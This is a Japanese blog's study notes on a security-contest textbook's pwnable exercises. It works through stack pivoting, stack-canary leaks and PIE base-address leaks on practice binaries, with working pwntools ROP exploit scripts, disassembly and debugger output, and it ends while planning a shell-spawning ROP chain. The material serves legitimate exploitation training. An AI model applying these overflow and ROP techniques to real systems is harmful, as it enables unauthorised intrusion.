0000000000401240 <__libc_csu_init>: 401240: f3 0f 1e fa endbr64 401244: 41 57 push r15 401246: 4c 8d 3d c3 2b 00 00 lea r15,[rip+0x2bc3] # 403e10 <__frame_dummy_init_array_entry> 40124d: 41 56 push r14 40124f: 49 89 d6 mov r14,rdx 401252: 41 55 push r13 401254: 49 89 f5 mov r13,rsi 401257: 41 54 push r12 401259: 41 89 fc mov r12d,edi 40125c: 55 push rbp 40125d: 48 8d 2d b4 2b 00 00 lea rbp,[rip+0x2bb4] # 403e18 <__do_global_dtors_aux_fini_array_entry> 401264: 53 push rbx 401265: 4c 29 fd sub rbp,r15 401268: 48 83 ec 08 sub rsp,0x8 40126c: e8 8f fd ff ff call 401000 <_init> 401271: 48 c1 fd 03 sar rbp,0x3 401275: 74 1f je 401296 <__libc_csu_init+0x56> 401277: 31 db xor ebx,ebx 401279: 0f 1f 80 00 00 00 00 nop DWORD PTR [rax+0x0] 401280: 4c 89 f2 mov rdx,r14 401283: 4c 89 ee mov rsi,r13 401286: 44 89 e7 mov edi,r12d 401289: 41 ff 14 df call QWORD PTR [r15+rbx*8] 40128d: 48 83 c3 01 add rbx,0x1 401291: 48 39 dd cmp rbp,rbx 401294: 75 ea jne 401280 <__libc_csu_init+0x40> 401296: 48 83 c4 08 add rsp,0x8 40129a: 5b pop rbx 40129b: 5d pop rbp 40129c: 41 5c pop r12 40129e: 41 5d pop r13 4012a0: 41 5e pop r14 4012a2: 41 5f pop r15 4012a4: c3 ret 4012a5: 66 66 2e 0f 1f 84 00 data16 cs nop WORD PTR [rax+rax*1+0x0] 4012ac: 00 00 00 00
一方、setvbuf関数を追加して、自分でコンパイルした方を見てみます。Ghidra を使って見てみたところ、そもそも、__libc_csu_init が含まれていませんでした。ChatGPT に聞いたところ、シンプルなプログラムの場合は、__libc_csu_init が含まれない場合があるそうです。ParrotOS でコンパイルしたのですが、念のため、Ubuntu 22.04 でコンパイルしてみましたが、同じく、__libc_csu_init は含まれていませんでした。
Stack Pivot について、理論的なところは理解できたので、次に進みます。
(2025/03/28:追記)
プログラムバイナリをビルドし直さなくても、ストリームバッファを無効にする方法が見つかったので、追記します。こちらの方がスマートな解決方法だと思います。
ストリームバッファを無効にする方法は、いくつかあるようですが、stdbufコマンドを使う方法がやりやすそうです。stdbufコマンドは、実行時に stdout や stderr のバッファリングを変更できます。stdbuf -o0 ./sbof_pivot とすると、標準出力(stdout)のバッファリングを無効化できます。また、stdbuf -e0 ./sbof_pivot とすると、標準出力(stdout)のバッファリングを無効化できます。今回は必要なさそうですが、標準入力(stdin)のバッファリングの無効化は、-i0 です。つまり、stdbuf -o0 -e0 ./sbof_pivot とすればいいです。エクスプロイトコードの場合は、stdbuf -o0 -e0 python exploit_sbof_pivot_mine2.py です。
ストリームバッファを無効化することが出来れば、オリジナルの sbof_pivot を使うことが出来ます。よって、ROPガジェットが無い、という課題もなくなります。
では、書き直したエクスプロイトコードです。今回は、pwntools の使い方を覚えるために、だいぶ書き換えました。
from pwn import * bin_file = './sbof_pivot' context(os = 'linux', arch = 'amd64') binf = ELF( bin_file ) info( f"binf.bss()=0x{binf.bss():X}, binf.symbols['msg']=0x{binf.symbols['msg']:X}" ) info( f"binf.functions['win'].address=0x{binf.functions['win'].address:X}" ) def attack( proc, **kwargs ): rop = ROP( binf ) ropchain = b'' ropchain += b'A' * 8 # name ropchain += b'B' * 8 # name ropchain += p64( binf.symbols['msg'] + 0xc0 - 8 ) # Saved RBP (0xc0 は win関数で使うスタック量を考慮) ropchain += p64( rop.leave.address ) # leave; ret; #info( proc.sendlineafter(b'>> ', ropchain[:-1]).decode() ) # なぜか、sendlineafter() ではうまくいかない info( proc.sendafter(b'>> ', ropchain[:-1]).decode() ) # fgets() は自動で、NULL終端するため、1byte手前まで送信する ropchain = b'' ropchain += b'A' * 0xc0 ropchain += p64( rop.rdi.address ) # pop rdi; ret; ropchain += p64( 0xcafebabe ) # key1 ropchain += p64( rop.rsi.address ) # pop rsi; pop r15; ret; ropchain += p64( 0xc0bebeef ) # key2 ropchain += p64( 0xdeadbeef ) # for r15 (何でもいい) ropchain += p64( binf.functions['win'].address ) # win() #info( proc.sendafter(b'>> ', ropchain).decode() ) # こちらは sendafter() ではうまくいかない info( proc.sendlineafter(b'>> ', ropchain).decode() ) info( proc.recvall().decode() ) def main(): adrs = "shape-facility.picoctf.net" port = 51556 #adrs = "localhost" #port = 4000 #proc = gdb.debug( bin_file ) proc = process( bin_file ) #proc = remote( adrs, port ) attack( proc ) #proc.interactive() if __name__ == '__main__': main()
また、pwntools を使うために、いろいろ試した内容も貼っておきます。
$ python Python 3.11.2 (main, May 2 2024, 11:59:08) [GCC 12.2.0] on linux Type "help", "copyright", "credits" or "license" for more information. >>> from pwn import * >>> bin_file = './sbof_pivot' >>> context(os = 'linux', arch = 'amd64') >>> binf = ELF( bin_file ) [*] '/home/user/svn/experiment/shokai_security_contest/files/pwnable/03_stack/sbof_pivot' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) SHSTK: Enabled IBT: Enabled Stripped: No Debuginfo: Yes >>> >>> hex(binf.bss()) '0x404040' >>> >>> hex(binf.symbols['msg']) '0x404060' >>> >>> rop = ROP( binf ) [*] Loading gadgets for '/home/user/svn/experiment/shokai_security_contest/files/pwnable/03_stack/sbof_pivot' >>> >>> rop.leave Gadget(0x4011e4, ['leave', 'ret'], ['rbp', 'rsp'], 0x2540be407) >>> >>> hex(rop.leave.address) '0x4011e4' >>> >>> rop.rdi Gadget(0x4012a3, ['pop rdi', 'ret'], ['rdi'], 0x10) >>> >>> rop.rsi Gadget(0x4012a1, ['pop rsi', 'pop r15', 'ret'], ['rsi', 'r15'], 0x18) >>> >>>
では、実行してみます。成功しました!
$ stdbuf -o0 -e0 python exploit_sbof_pivot_mine2.py [*] '/home/user/svn/experiment/shokai_security_contest/files/pwnable/03_stack/sbof_pivot' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) SHSTK: Enabled IBT: Enabled Stripped: No Debuginfo: Yes [*] binf.bss()=0x404040, binf.symbols['msg']=0x404060 [*] binf.functions['win'].address=0x4011E6 [+] Starting local process './sbof_pivot': pid 315980 [*] Loaded 14 cached gadgets for './sbof_pivot' [*] Hello! Input Name >> [*] Input Message >> [+] Receiving all data: Done (22B) [*] Stopped process './sbof_pivot' (pid 315980) [*] This is win Correct!
32.3:緩和機構
緩和機構とは、スタックカナリアなどのセキュリティ機構のことです。スタックカナリアは、Stack Smash Protection(SSP)とも言い、書籍では、この SSP について解説を行っています。これまでも何度かスタックカナリヤを扱ってきましたが、新しい情報がありました。スタックカナリアの先頭バイトは必ず 0 になっているそうです。その理由は、文字列などと一緒にスタックカナリアの値が流出することを防ぐためとのことです。なるほどです。
次に、ASLR(Address Space Layout Randomization)と PIE(Position Independent Executable)です。ASLR が有効な場合は、プログラム自身以外のヒープ領域や、スタック領域などのアドレスが毎回変わります。PIE が有効な場合は、プログラム自身のアドレスが毎回変わります。
32.4:緩和機構の回避
上の緩和機構で紹介した、スタックカナリアや、ASLR、PIE が設定されていた場合、それらを回避する方法が解説されています。
スタックカナリアの場合は、その値(canary)を流出させて、スタックカナリアが保存されている領域を書き換えるときに、canary の値で書き換えることで、スタックカナリアを回避します。
ASLR、PIE の場合は、プログラムのアドレスを流出させて(アドレスリーク)、回避します。
順番にやっていきます。
32.4.1:canaryの特定
canary の値は、8byte ですが、先頭の 1byte は、必ず 0 になります。これは、先頭バイトを 0(NULL文字、つまり、文字列の終端文字)にしておくことで、その後に続く canary の値を出力させる(リークする)ことを難しくしています。canary の値をリークする方法は、この先頭バイトの 0 を、0 以外の値に書き換えることで、出力させます。
以下は、サポートサイトで配布されてる canary の特定で取り扱うソースコード(sbof_leak.c)です。
2回の入力があり、両方ともバッファオーバーフローを起こすことが出来ます。
#include <stdio.h> #include <unistd.h> void main(void){ char buf[0x10]; dprintf(STDOUT_FILENO, "Input Name >> "); read(STDIN_FILENO, buf, 0x100); dprintf(STDOUT_FILENO, "Hello, %s!\nInput Message >> ", buf); read(STDIN_FILENO, buf, 0x100); } void win(void){ puts("Congratz!!"); }
プログラムバイナリ(sbof_leak_w_ssp)も提供されています。
表層解析します。スタックカナリアが有効です。また、メモリ上の命令実行が禁止されています。
$ file sbof_leak_w_ssp sbof_leak_w_ssp: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=c4b5c36e7712ab9181ffe2da009625316393fd2c, for GNU/Linux 3.2.0, with debug_info, not stripped $ ~/bin/checksec --file=sbof_leak_w_ssp RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH 72 Symbols No 0 2 sbof_leak_w_ssp
スタックカナリアの位置を特定するために、逆アセンブラを見ます。スタックは 32byte 確保されていて、スタックカナリアが 8byte、空きが 8byte、配列の buf が 16byte という並びです。
pwndbg> disassemble main Dump of assembler code for function main: 0x0000000000401196 <+0>: endbr64 0x000000000040119a <+4>: push rbp 0x000000000040119b <+5>: mov rbp,rsp 0x000000000040119e <+8>: sub rsp,0x20 0x00000000004011a2 <+12>: mov rax,QWORD PTR fs:0x28 0x00000000004011ab <+21>: mov QWORD PTR [rbp-0x8],rax 0x00000000004011af <+25>: xor eax,eax 0x00000000004011b1 <+27>: lea rsi,[rip+0xe4c] # 0x402004 0x00000000004011b8 <+34>: mov edi,0x1 0x00000000004011bd <+39>: mov eax,0x0 0x00000000004011c2 <+44>: call 0x401090 <dprintf@plt> 0x00000000004011c7 <+49>: lea rax,[rbp-0x20] 0x00000000004011cb <+53>: mov edx,0x100 0x00000000004011d0 <+58>: mov rsi,rax 0x00000000004011d3 <+61>: mov edi,0x0 0x00000000004011d8 <+66>: call 0x4010a0 <read@plt> => 0x00000000004011dd <+71>: lea rax,[rbp-0x20] 0x00000000004011e1 <+75>: mov rdx,rax 0x00000000004011e4 <+78>: lea rsi,[rip+0xe28] # 0x402013 0x00000000004011eb <+85>: mov edi,0x1 0x00000000004011f0 <+90>: mov eax,0x0 0x00000000004011f5 <+95>: call 0x401090 <dprintf@plt> 0x00000000004011fa <+100>: lea rax,[rbp-0x20] 0x00000000004011fe <+104>: mov edx,0x100 0x0000000000401203 <+109>: mov rsi,rax 0x0000000000401206 <+112>: mov edi,0x0 0x000000000040120b <+117>: call 0x4010a0 <read@plt> 0x0000000000401210 <+122>: nop 0x0000000000401211 <+123>: mov rax,QWORD PTR [rbp-0x8] 0x0000000000401215 <+127>: xor rax,QWORD PTR fs:0x28 0x000000000040121e <+136>: je 0x401225 <main+143> 0x0000000000401220 <+138>: call 0x401080 <__stack_chk_fail@plt> 0x0000000000401225 <+143>: leave 0x0000000000401226 <+144>: ret End of assembler dump.
スタックを表にしておきます。
| アドレス | サイズ | 内容 |
|---|---|---|
| rbp | ||
| rbp - 0x08 | 8 | スタックカナリア |
| rbp - 0x10 | 8 | 空き |
| rbp - 0x20 | 16 | 配列buf |
2回の read関数によるユーザ入力の最初の方で、スタックカナリアの先頭にある 0(NULL文字)を NULL文字以外に書き換えます。つまり、配列 buf の 16byte と、空きの 8byte と、スタックカナリアの先頭の 0 を書き換えるので、合計で 25byte を入力することになります。やってみます。
スタックカナリアを書き換えたことになるため、*** stack smashing detected ***: terminated と言われて終了しています。
Hello, の後、a が 25回続き、スタックカナリアが 7byte 続くことになります。よって、スタックカナリアは、00 79 62 da 33 51 94 fa(0xFA945133DA627900)だったということになります。
$ python -c 'print("a" * 25, end="")' | ./sbof_leak_w_ssp Input Name >> Hello, aaaaaaaaaaaaaaaaaaaaaaaaa�b���9! Input Message >> *** stack smashing detected ***: terminated 中止 $ python -c 'print("a" * 25, end="")' | ./sbof_leak_w_ssp | hexdump -C 00000000 49 6e 70 75 74 20 4e 61 6d 65 20 3e 3e 20 48 65 |Input Name >> He| 00000010 6c 6c 6f 2c 20 61 61 61 61 61 61 61 61 61 61 61 |llo, aaaaaaaaaaa| 00000020 61 61 61 61 61 61 61 61 61 61 61 61 61 61 79 62 |aaaaaaaaaaaaaayb| 00000030 da 33 51 94 fa 01 21 0a 49 6e 70 75 74 20 4d 65 |.3Q...!.Input Me| *** stack smashing detected ***: terminated 00000040 73 73 61 67 65 20 3e 3e 20 |ssage >> | 00000049
エクスプロイトコード(exploit_sbof_leak_canary.py)も提供されています。
上では、a を 25個入力しましたが、このコードでは、24個の a と ! を入力しています。次の recvuntil関数のために目印を入れてると思われます。a! の後はスタックカナリアの 7byte なので、先頭の 0 と合わせてスタックカナリアを変数 canary にセットしてデバッグ出力させています。あとは、普通にリターンアドレスを書き換えて、win関数にジャンプさせています。Saved RBP のところには、0xdeadbeef を設定して、リターンアドレスには、あらかじめ準備していた win関数のアドレス addr_win を設定しています。
#!/usr/bin/env python3 from pwn import * bin_file = './sbof_leak_w_ssp' context(os = 'linux', arch = 'amd64') # context.log_level = 'debug' binf = ELF(bin_file) addr_win = binf.functions['win'].address def attack(conn, **kwargs): conn.sendafter('>> ', b'a'*0x18+b'!') conn.recvuntil('a!') canary = u64(b'\x00' + conn.recv(7)) info('canary = 0x{:08x}'.format(canary)) exploit = b'a'*0x18 exploit += p64(canary) exploit += p64(0xdeadbeef) exploit += p64(addr_win) conn.sendafter('>> ', exploit) def main(): conn = process(bin_file) attack(conn) conn.interactive() if __name__=='__main__': main()
実行してみます。無事、Congratz!! が表示されているので、成功です。
$ python exploit_sbof_leak_canary.py [*] '/home/user/svn/experiment/shokai_security_contest/files/pwnable/03_stack/sbof_leak_w_ssp' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) SHSTK: Enabled IBT: Enabled Stripped: No Debuginfo: Yes [+] Starting local process './sbof_leak_w_ssp': pid 158537 /home/user/20240819/lib/python3.11/site-packages/pwnlib/tubes/tube.py:831: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes res = self.recvuntil(delim, timeout=timeout) /home/user/svn/experiment/shokai_security_contest/files/pwnable/03_stack/exploit_sbof_leak_canary.py:13: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes conn.recvuntil('a!') [*] canary = 0x61d72a71f45b0200 [*] Switching to interactive mode Congratz!! [*] Got EOF while reading in interactive $ ls [*] Process './sbof_leak_w_ssp' stopped with exit code -11 (SIGSEGV) (pid 158537) [*] Got EOF while sending in interactive
32.4.2:バイナリのベースアドレスの特定
次は、ASLR、PIE の場合です。
書籍で解説されているのは、未初期化の変数を出力させて、その値が _start という関数のアドレスであることが分かり、プログラム内の相対的なアドレスは ASLR、PIE が有効であっても変わらないので、ベースアドレスが特定できる、というものです。
うーん、ちょっとたまたま感がありますね。書籍でもこういうこともあるんだから、使えそうなものを探してみてください、みたいな感じです。未初期化の変数を出力させる方法も、read関数を使っているので、配列buf の使わなかった部分を出力できていますが、普通は、scanf関数や fgets関数を使うので、これらは、自動で NULL文字が追加されるので、同じ方法は使えません。
という前置きをしたうえで、書籍の解説されている方法をやってみます。
提供されているプログラム(sbof_leak_w_ssp_pie)は、先ほどの sbof_leak.c を、PIE を有効にしてコンパイルしたものとのことです。
表層解析を行います。PIE が有効になっています。つまり、このプログラムはランダムなアドレスに配置されるということです。
$ file sbof_leak_w_ssp_pie sbof_leak_w_ssp_pie: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=8a6d38c5f13696c73f77654a022e28c1812c91a1, for GNU/Linux 3.2.0, with debug_info, not stripped $ ~/bin/checksec --file=sbof_leak_w_ssp_pie RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Full RELRO Canary found NX enabled PIE enabled No RPATH No RUNPATH 74 Symbols No 0 2 sbof_leak_w_ssp_pie
次に、2回の入力のうち、最初の入力に 8byte だけ入力すると、後ろに未初期化の内容が出力されるということです。やってみます。
a が 8回出力された後、! が出力されています。後ろに未初期化の内容が出力されていません。何度やっても同じです。出力されるはずの未初期化の部分の先頭が、たまたま 0(NULL文字)だったらこうなりますが、、、
$ python -c 'print("a" * 8, end="")' | ./sbof_leak_w_ssp_pie | hexdump -C 00000000 49 6e 70 75 74 20 4e 61 6d 65 20 3e 3e 20 48 65 |Input Name >> He| 00000010 6c 6c 6f 2c 20 61 61 61 61 61 61 61 61 21 0a 49 |llo, aaaaaaaa!.I| 00000020 6e 70 75 74 20 4d 65 73 73 61 67 65 20 3e 3e 20 |nput Message >> | 00000030
gdb で確認してみます。ちょっと文字化けしてますが、入力した内容を出力する直前で止めています。配列 buf は、0x7fffffffe120 から始まり、aaaaaaaa の後は、STACK を見ると、0 になっています。残念です。
$ gdb -q ./sbof_leak_w_ssp_pie Poetry could not find a pyproject.toml file in /home/user/svn/experiment/shokai_ security_contest/files/pwnable/03_stack or its parents pwndbg: loaded 169 pwndbg commands and 47 shell commands. Type pwndbg [--shell | --all] [filter] for a list. pwndbg: created $rebase, $base, $bn_sym, $bn_var, $bn_eval, $ida GDB functions ( can be used with print/break) Reading symbols from ./sbof_leak_w_ssp_pie... ------- tip of the day (disable with set show-tips off) ------- heap_config shows heap related configuration pwndbg> b *main+95 Breakpoint 2 at 0x555555555208: file sbof_leak.c, line 10. pwndbg> r < <(python -c 'print("a" * 8, end="")') Starting program: /home/user/svn/experiment/shokai_security_contest/files/pwnable/03_stack/sbof_leak_w_ssp_pie < <(python -c 'print("a" * 8, end="")') [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". Input Name >> Breakpoint 2, 0x0000555555555208 in main () at sbof_leak.c:10 10 dprintf(STDOUT_FILENO, "Hello, %s!\nInput Message >> ", buf); LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq[ REGISTERS / show-flags off / show-compact-regs off ]qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq RAX 0 RBX 0x7fffffffe258 —▸ 0x7fffffffe4e2 ◂— '/home/user/svn/experiment/shokai_security_contest/files/pwnable/03_stack/sbof_leak_w_ssp_pie' RCX 0x7ffff7ec119d (read+13) ◂— cmp rax, -0x1000 /* 'H=' */ RDX 0x7fffffffe120 ◂— 'aaaaaaaa' RDI 1 RSI 0x555555556013 ◂— 'Hello, %s!\nInput Message >> ' R8 7 R9 0x5555555592a0 ◂— 0x555555559 R10 0x856a7a6bcd1da13d R11 0x246 R12 0 R13 0x7fffffffe268 —▸ 0x7fffffffe53f ◂— 'SHELL=/bin/bash' R14 0 R15 0x7ffff7ffd020 (_rtld_global) —▸ 0x7ffff7ffe2e0 —▸ 0x555555554000 ◂— 0x10102464c457f RBP 0x7fffffffe140 ◂— 1 RSP 0x7fffffffe120 ◂— 'aaaaaaaa' RIP 0x555555555208 (main+95) ◂— call dprintf@plt qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq[ DISASM / x86-64 / set emulate on ]qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq ► 0x555555555208 <main+95> call dprintf@plt <dprintf@plt> fd: 1 (/dev/pts/2) fmt: 0x555555556013 ◂— 'Hello, %s!\nInput Message >> ' vararg: 0x7fffffffe120 ◂— 'aaaaaaaa' 0x55555555520d <main+100> lea rax, [rbp - 0x20] 0x555555555211 <main+104> mov edx, 0x100 EDX => 0x100 0x555555555216 <main+109> mov rsi, rax 0x555555555219 <main+112> mov edi, 0 EDI => 0 0x55555555521e <main+117> call read@plt <read@plt> 0x555555555223 <main+122> nop 0x555555555224 <main+123> mov rax, qword ptr [rbp - 8] 0x555555555228 <main+127> xor rax, qword ptr fs:[0x28] 0x555555555231 <main+136> je main+143 <main+143> 0x555555555233 <main+138> call __stack_chk_fail@plt <__stack_chk_fail@plt> qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq[ SOURCE (CODE) ]qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq In file: /home/user/svn/experiment/shokai_security_contest/files/pwnable/03_stack/sbof_leak.c:10 5 char buf[0x10]; 6 7 dprintf(STDOUT_FILENO, "Input Name >> "); 8 read(STDIN_FILENO, buf, 0x100); 9 ► 10 dprintf(STDOUT_FILENO, "Hello, %s!\nInput Message >> ", buf); 11 read(STDIN_FILENO, buf, 0x100); 12 } 13 14 void win(void){ 15 puts("Congratz!!"); qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq[ STACK ]qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq 00:0000x rdx rsp 0x7fffffffe120 ◂— 'aaaaaaaa' 01:0008x-018 0x7fffffffe128 ◂— 0 02:0010x-010 0x7fffffffe130 ◂— 0 03:0018x-008 0x7fffffffe138 ◂— 0x5b7def48c19cf100 04:0020x rbp 0x7fffffffe140 ◂— 1 05:0028x+008 0x7fffffffe148 —▸ 0x7ffff7df024a (__libc_start_call_main+122) ◂— mov edi, eax 06:0030x+010 0x7fffffffe150 ◂— 0 07:0038x+018 0x7fffffffe158 —▸ 0x5555555551a9 (main) ◂— endbr64 qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq[ BACKTRACE ]qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq ► 0 0x555555555208 main+95 1 0x7ffff7df024a __libc_start_call_main+122 2 0x7ffff7df0305 __libc_start_main+133 3 0x5555555550ee _start+46 qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq
Ubuntu 22.04 でやってみます。ParrotOS と同様、後ろに未初期化の内容が出力されていません。原因もおそらく同じで、未初期化の先頭が 0 なんだと思います。
$ python3 -c 'print("a" * 8, end="")' | ./sbof_leak_w_ssp_pie | hexdump -C 00000000 49 6e 70 75 74 20 4e 61 6d 65 20 3e 3e 20 48 65 |Input Name >> He| 00000010 6c 6c 6f 2c 20 61 61 61 61 61 61 61 61 21 0a 49 |llo, aaaaaaaa!.I| 00000020 6e 70 75 74 20 4d 65 73 73 61 67 65 20 3e 3e 20 |nput Message >> | 00000030
自分でコンパイルしてやってみます。結果は一緒でした。
$ gcc -g -pie -o sbof_leak_w_ssp_pie_mine sbof_leak.c sbof_leak.c: In function ‘main’: sbof_leak.c:8:9: warning: ‘read’ writing 256 bytes into a region of size 16 overflows the destination [-Wstringop-overflow=] 8 | read(STDIN_FILENO, buf, 0x100); | ^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ sbof_leak.c:5:14: note: destination object ‘buf’ of size 16 5 | char buf[0x10]; | ^~~ In file included from sbof_leak.c:2: /usr/include/unistd.h:371:16: note: in a call to function ‘read’ declared with attribute ‘access (write_only, 2, 3)’ 371 | extern ssize_t read (int __fd, void *__buf, size_t __nbytes) __wur | ^~~~ sbof_leak.c:11:9: warning: ‘read’ writing 256 bytes into a region of size 16 overflows the destination [-Wstringop-overflow=] 11 | read(STDIN_FILENO, buf, 0x100); | ^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ sbof_leak.c:5:14: note: destination object ‘buf’ of size 16 5 | char buf[0x10]; | ^~~ /usr/include/unistd.h:371:16: note: in a call to function ‘read’ declared with attribute ‘access (write_only, 2, 3)’ 371 | extern ssize_t read (int __fd, void *__buf, size_t __nbytes) __wur | ^~~~ sbof_leak.c:8:9: warning: ‘read’ writing 256 bytes into a region of size 16 overflows the destination [-Wstringop-overflow=] 8 | read(STDIN_FILENO, buf, 0x100); | ^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ sbof_leak.c:5:14: note: destination object ‘buf’ of size 16 5 | char buf[0x10]; | ^~~ /usr/include/unistd.h:371:16: note: in a call to function ‘read’ declared with attribute ‘access (write_only, 2, 3)’ 371 | extern ssize_t read (int __fd, void *__buf, size_t __nbytes) __wur | ^~~~ sbof_leak.c:11:9: warning: ‘read’ writing 256 bytes into a region of size 16 overflows the destination [-Wstringop-overflow=] 11 | read(STDIN_FILENO, buf, 0x100); | ^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ sbof_leak.c:5:14: note: destination object ‘buf’ of size 16 5 | char buf[0x10]; | ^~~ /usr/include/unistd.h:371:16: note: in a call to function ‘read’ declared with attribute ‘access (write_only, 2, 3)’ 371 | extern ssize_t read (int __fd, void *__buf, size_t __nbytes) __wur | ^~~~ $ python -c 'print("a" * 8, end="")' | ./sbof_leak_w_ssp_pie_mine | hexdump -C 00000000 49 6e 70 75 74 20 4e 61 6d 65 20 3e 3e 20 48 65 |Input Name >> He| 00000010 6c 6c 6f 2c 20 61 61 61 61 61 61 61 61 21 0a 49 |llo, aaaaaaaa!.I| 00000020 6e 70 75 74 20 4d 65 73 73 61 67 65 20 3e 3e 20 |nput Message >> | 00000030
残念ですが、諦めます。
32.5:実践問題
ここの実践問題は興味深いので、やっていきます。
問題として与えられているソースコード(chall_stack.c)は以下です。お題としては、「このプログラムで ROP をして、シェルを起動してください」です。コンパイル後のプログラムバイナリ(chall_stack)と、答えのエクスプロイトコード(exploit_stack.py)が提供されています。
あと、コンパイルオプションは -static-pie を与えており、静的リンクで、PIE を有効にしています。また、ヒントが与えられていて、「canary、バイナリベースアドレス、スタックアドレスがリーク可能」と、「syscall命令を含む ROP gadget を利用」と書かれています。
ソースコードを見ていきます。ローカル変数の msg という配列が定義され、{} では、0 初期化になります。その後は、メインの for文です。for文では、4回ループで、ログ出力→read関数(脆弱性あり)→ログ出力、という内容です。
#include <stdio.h> #include <unistd.h> int main(void){ char msg[0x10] = {}; setbuf(stdout, NULL); puts("You can put message 4 times!"); for(int i=0; i<4; i++){ printf("Input (%d/4) >> ", i+1); read(STDIN_FILENO, msg, 0x70); printf("Output : %s\n", msg); } puts("Bye!"); return 0; }
普通にリターンアドレスを書き換えて、ROP を行っていくことになりますが、まず、考えなければならないのは、スタックカナリヤが有効とのことなので、それを回避する必要があります。これは、32.4.1 で行った対応で出来そうです。具体的には、canary の先頭が 0 になっているところを 0 以外の値で埋めて、canary の値をリークし、スタックカナリアを回避するエクスプロイトコードになると思います。これが、for文の 1回目の行動になりそうです。
次に、PIE が有効とのことなので、何らかのアドレスをリークし、その相対アドレスを調べて、ベースアドレスを求めます。それにより、system関数か、execve関数を実行することでシェルを起動できそうです。では、どうやってアドレスをリークするかを考えます。ローカル変数の msg は、0 初期化されているので、32.4.2 で解説されていた、未初期化の変数からアドレスを得るというのは無理ということになります。上の canary のリークで、そのすぐ後ろにある Saved RBP や、リターンアドレスが出力できるかもしれません。これは途中に 0 があるとダメなので、実際にやってみたいと思います。
表層解析です。ん?スタックカナリアが無効のようです。。。何かの不備なんでしょうか。とりあえず、先に進みます。
$ file ./chall_stack ./chall_stack: ELF 64-bit LSB pie executable, x86-64, version 1 (GNU/Linux), static-pie linked, BuildID[sha1]=b6806fb22df5030de6ee970a55e0128c884b8276, for GNU/Linux 3.2.0, not stripped $ ~/bin/checksec --file=./chall_stack RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Full RELRO No canary found NX enabled PIE enabled No RPATH No RUNPATH 1884 Symbols N/A 0 21 ./chall_stack
追記です。checksec は間違う場合がある、ということで、pwndbg の checksec で実施します。以下は、シェル関数で、pwndbg を起動して、checksec を実行してます。
$ checksec ./chall_stack pwndbg: loaded 211 pwndbg commands. Type pwndbg [filter] for a list. pwndbg: created 13 GDB functions (can be used with print/break). Type help function to see them. This GDB supports auto-downloading debuginfo from the following URLs: <https://debuginfod.ubuntu.com> Debuginfod has been disabled. To make this setting permanent, add 'set debuginfod enabled off' to .gdbinit. File: /home/ubuntu/svn/experiment-old/shokai_security_contest/files/pwnable/99_challs/stack/chall_stack Arch: amd64 RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled SHSTK: Enabled IBT: Enabled Stripped: No
GDB を起動してみます。
以下に逆アセンブル結果を貼ります。スタックは 48(0x30)byte 確保されていて、スタックカナリアは有効ですね、、、何かおかしい気がしますが、分かりません。msg があり、その後ろは 8byte 空きで、その後に、canary が続いています。canary のリークには、16byte + 8 byte + 1byte = 25byte を埋めれば良さそうです。
